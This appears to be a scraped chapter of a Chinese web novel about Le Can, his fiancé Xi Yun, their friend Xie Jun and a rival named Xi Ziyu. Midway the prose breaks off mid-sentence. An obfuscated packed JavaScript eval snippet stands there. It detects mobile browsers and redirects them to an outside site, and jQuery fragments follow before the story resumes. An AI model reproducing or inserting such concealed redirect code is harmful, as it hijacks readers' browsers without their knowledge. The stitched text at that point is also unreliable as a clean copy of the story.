腰背贴合到柔软的座椅,舒适完美的包容感让谢珺叹息出声。她懒懒地轻抬了抬下巴,指了指驾驶位上的男人。
“这是尹无郁,我的私人保镖。”
刚跑了一路,又举着手机大骂了两句傻叉席(子钰)龟孙,真的消耗完了她这位淑女仅有的体力。
乐璨静坐上车子的后座,闻言抬头看向斜前方的车内后视镜。
那一方小小的镜子干净又明亮,清楚地倒影着车内三个人的身影,其中以离得最近的尹无郁最为清晰。
一张五官深邃的俊朗面孔,忍不住让人怀疑是不是混血。即使裹着一身严严实实的西装,也能从衣服上撑出的弧度看出里面充满爆发力、堪比秀场男模的顶级身材。
乐璨不由得将疑惑带上了脸。
不是,保镖界现在这么卷的?卡颜都卡成这个样子的吗?
也不知道是他的眼神太明显,还是保镖本就对外界的视线敏感。乐璨再抬眼时,径直撞上了后视镜里的一双淡漠的眼睛。
没有常人会有的好奇探究,就那么无悲无喜地看过来。仿佛乐璨不是坐在妩媚慵懒的谢珺身边,也毫不逊色的另一种人间绝色。
第一次被这样的目光看待……青年饶有兴趣地眯了眯眼睛。
“怎么?对我家的保镖感兴趣?”
谢珺支着手撑着下巴,半压下来的眉眼带着天然的压迫感。
这一刻,她才能让人恍然窥见“谢家继承人”这个头衔下的冰山一角。
乐璨却敏锐地从谢珺的话语和动作中,看出了一丝的紧张。
他不仅不怵,还缓慢又愉悦地勾起了嘴角,答非所问道:“无郁,不错的名字。”
看着软骨头一样的人缓慢坐起,差不多确定了心里想法。好心情的乐璨架着腿,上半身往身后的座位一靠。
随着动作的转换,垂落的发丝半遮住眉眼,却也难掩清隽好看的青年轻笑一声,故意道:
“也不知道这位看起来就很靠谱和安全的尹无郁先生,最近想不想换一名雇主……”
谢珺的脸上彻底没了微笑。
过了一会,一声幽幽的叹气声在车内响起。
随后,一只白皙纤细的手手心向上,捧着显示正在通话中的手机,出现在了后车座的中间。
“哎席韫,我也不知道要不要告诉你一件事件……”
“可是依我俩那么多年的交情,如果不告诉你我心里难安,可能这辈子都睡不着好觉了。”
看到手机页面中间“席扒皮”的备注时,乐璨的眉心就下意识跳了跳。等到听到谢珺快速秃噜出的两句话,神经就不是跳而是蹦迪了。
他猛地伸出手去抢夺手机,试图先声夺人,“她给你备注‘席扒皮’!”
但是同一时间,有人的声音比他更大:“你老婆要给你戴绿帽子!”
乐璨绷不住瞪大了一双桃花眼。没抓到手机的手指举在半空中,一个劲地颤啊颤。
两辈子加一起,乐璨都没有这么被人造谣过……
偏他还不能对着手机大喊,他和席韫那都是玩玩,都不是真的!
呸!怎么一股人渣味?
一定是给谢珺带到沟里去了!
“什么什么?!
哥夫要绿了韫哥?!”
咋咋呼呼的熟悉声音,差不多能响彻方圆百里的嗓音。
我可谢谢你帮忙宣传啊,元大喇叭……
乐璨胸腔里梗着一口气,上也不是下也不是。
最后,他咬着牙气笑了:“是啊,我不仅要给席韫戴绿帽子,还要花他的钱,睡他的床,打他的娃!”
娃一出来,任谁都知道乐璨在胡言乱语。
偏从来没有人想过,有谁会这么敢的,敢当着席韫的面说出这么一番话。
电话的两端忽然一下子沉默了下来。
就连车速保持地始终都十分均匀的尹无郁,也无声抬眼看了一眼后座里眼角飞红、生动鲜活到摄人的青年。
“谢珺,道歉。”
不多时,席韫冷静的声音传入每个人的耳朵里。
作为被点名的对象,谢珺顿时像是漏了气的皮球,本就垂落下去的脑袋,压得更低了。
“对不起……”
她平时说话的确肆无忌惮惯了,什么胆大出格的玩笑话也是张口就来。刚刚被怒气一激,更是说话不过脑子。
可乐璨和席韫还是才确认关系的未婚夫夫,信任危机在这份并不很稳固的关系里,是十分致命的……(大雾)
席韫也没有代乐璨原谅谢珺,他不咸不淡地“嗯”了一声。
“还有我不清楚是否有【谁】告诉过你什么,但是用语言激发情绪这一招,以后不需要用在乐璨身上。”
元·某人·诚心虚地摸了摸鼻子,望望天又望望地,一时间忙得不可开交。
席韫只淡淡地扫了他一眼,又继续道:“他……不是你们所猜测的心理问题,只是很正常的有仇报仇、有怨报怨。”
一个人性格的大变,还是从十多年的唯唯诺诺,到从躯体到精神上对仇人的双重报复。
这的确不同寻常,但并不一定代表着乐璨是被憋疯了。
席韫虽然没有看到乐家里发生事情的全程,但料理乐文信的那段,他看到的是一个克制、聪明又狡猾的乐璨。
真疯的人,是无法控制自己的言行的。
如果是这样,乐家剩下的那几个人就不是验伤都验不出来的轻微伤害,而是像那一地的红酒碎渣一样,最后都拼凑不出来一个完整的。
乐璨或许有一点疯,可这个世界上谁没有带点疯。就连席韫自己都无法否认,他的骨子里也有着同样的东西。
比如说,旁人都以为席韫从继母的耳朵上扯下耳环,是带着愤怒和怨恨。可只有席韫知道,自己的情绪十分平静。
他只是收回了自己的东西。
仅此而已。
听完最后两句话,谢珺的脊背是彻底佝偻了下去。
席韫总是那么聪明,聪明到让人讨厌,或者说畏惧。
这次没有他提醒,谢珺率先对着乐璨又说出了那句:
“对不起。”
“我不该随意调查你的过去,还妄自揣度你的心理状态……”
身边的铁树好不容易开了花,作为朋友怎么能不惊奇又谨慎?可再情急也不能失去了分寸,的确是她做得不对。
有好感的人即将被抢夺的惊和慌;有发现乐璨对他和席韫关系提别反应后的故意为之;有仗着席韫朋友身份的侥幸心理……
她只是席韫的朋友,其实连乐璨的朋友都算不上。更何况连身为未婚夫的席韫,都没有妄图干预乐璨的人生。
呜,人席韫和乐璨结婚,她搁这又唱又跳的……
谢珺垂头丧气:
“真的很对不起。”
乐璨有些头疼地揉了揉酸胀的鼻梁。好么,没有坏心思不代表没有别的心思。
不过……
“你,不你俩是觉得我心理有病?”
两声臊眉耷眼的含糊“唔唔”声在电话的两端响起,乐璨才顺了没多久的气,险些又走岔了路。
“不是,我像是心理有毛病的样子吗?!”
这次连“唔”也不“唔”了,诡异的沉默在不大的车内空间里蔓延开来。
乐璨难以置信,他左看看伪人一样的尹无郁,右看看低头装死的谢珺,再一看平静到好像已经挂断的电话。
谁都没有给他回答。
【没有想象中的心理问题,不等于没有心理问题。】
——乐璨一秒解锁了大部分人内心里的想法。
人无语到极致,真的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160913|180630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会莫名其妙地笑一下。不过短促的笑声之后,乐璨又沉默了下来。
都说了解自己最深的人,通常都是自己。
乐璨对此无法反驳。
除此之外,或许还有更上面的那一条……
可他依旧还是语气冷静地开口,问向那个不在场却始终最理智的人:“席韫,你觉得呢?”
“没有。”
干净利落的两个字丝毫不拖泥带水,青年拉平的眼尾逐渐有恢复了往日的角度。
“好,你说没有那就没有。”
完全没有民主可言的一锤定音。
元诚&谢珺:“!”
石锤了,他/他真的不要太爱!
席韫也没有过多停留在这个话题上,他低头看了看腕表上的时间,开口问道:“你们现在到哪了?”
乐璨和谢珺下意识看了看车窗外,陌生的街景持续向后倒退,根本无法辨别到准确的位置信息。
不等他们拿起手机查看定位,尹无郁不带一丝波澜的声音响起:“距离目的地还有一点五公里左右,五分钟。”
“好。”
五分钟不算长,等到了还需要再次联系,席韫也没挂断电话,干脆就保持着连接的状态。
最后也还是没等来乐璨的“没关系”,谢珺依然高兴。
她不是那种不知变通,也没有头脑的人,以为一句没关系就能将犯过的错一笔勾销。
她只是颇为殷勤地,将剩下的猪肉脯递到乐璨眼皮子底下。盖子呈打开的状态,伸手就能拿。
眼看着乐璨抬手拿了一片,谢珺脸上的笑容更大了。送了一口气的同时,她也有心思问出心里一直想问的另一个问题。
怕电话对面的席韫不会理她,谢珺甚至直接呼叫了元诚的名字。
“小元诚儿,席子钰那王八蛋真的来了?!”
“还不知道呢珺姐,我刚在外面瞧了一圈也没看见,还不知道消息是真是假。”
说到这个,元诚气也不虚眼神也不飘忽了,两只狗狗眼里燃起了熊熊的火光。
这头的谢珺也不遑多让,一双漂亮的眼睛里满是愤恨。
“那个晦气的家伙,凡是席韫要做的事都想要插上一脚,这次也不知道在哪听到了风声。虽然他现在还没露面,但我赌他一定会来。”
“席韫干什么他都要干,当初席韫跳河他怎么就不跳了?!”
“咳咳咳咳咳……”
专注吃瓜的乐璨没忍住呛了。
不过,席韫还跳过河?!
意识到身边还有席韫不知情况的家属,谢珺忙回头解释:“冬泳!冬泳!不是跳河!不对也是跳河,嗐……”
越解释越乱。
乐璨松了一口气,又有点小惊叹地点头表示他知道了,让谢珺不用在意这些细节。
元诚看不到乐璨的表情,更是一点不受影响理解“跳河”是什么,他不平地道:
“谁说不是!韫哥的什么东西他都想抢,明明家里那么有钱,搞得就跟路边流浪抢食的疯狗子一样!”
谢珺一秒回归状态:
“把他比作狗?辱狗了都!就是一个疯子! ”
两人同仇敌忾,默契地一同数落这位席子钰曾经一一做过的疯事。
过程中你一句我一句,这样外人根本无法插话的丝滑和熟练,看样子同样的事情之前没少干过。
乐璨也从只言片语之中,蓦地想起来了这位席子钰在原著里的身份——席韫继母的儿子。
席韫的继弟,也就是那位渣渣父亲席崇婚内出轨的铁证!
非常巧合的是,这位一直致力于和席韫作对的人,名字中也有一个“yu”。
乐璨忽然有些头疼。
他事先真的没记起来这位席子钰,也不是信口开河随便提的“yu”来糊弄席韫……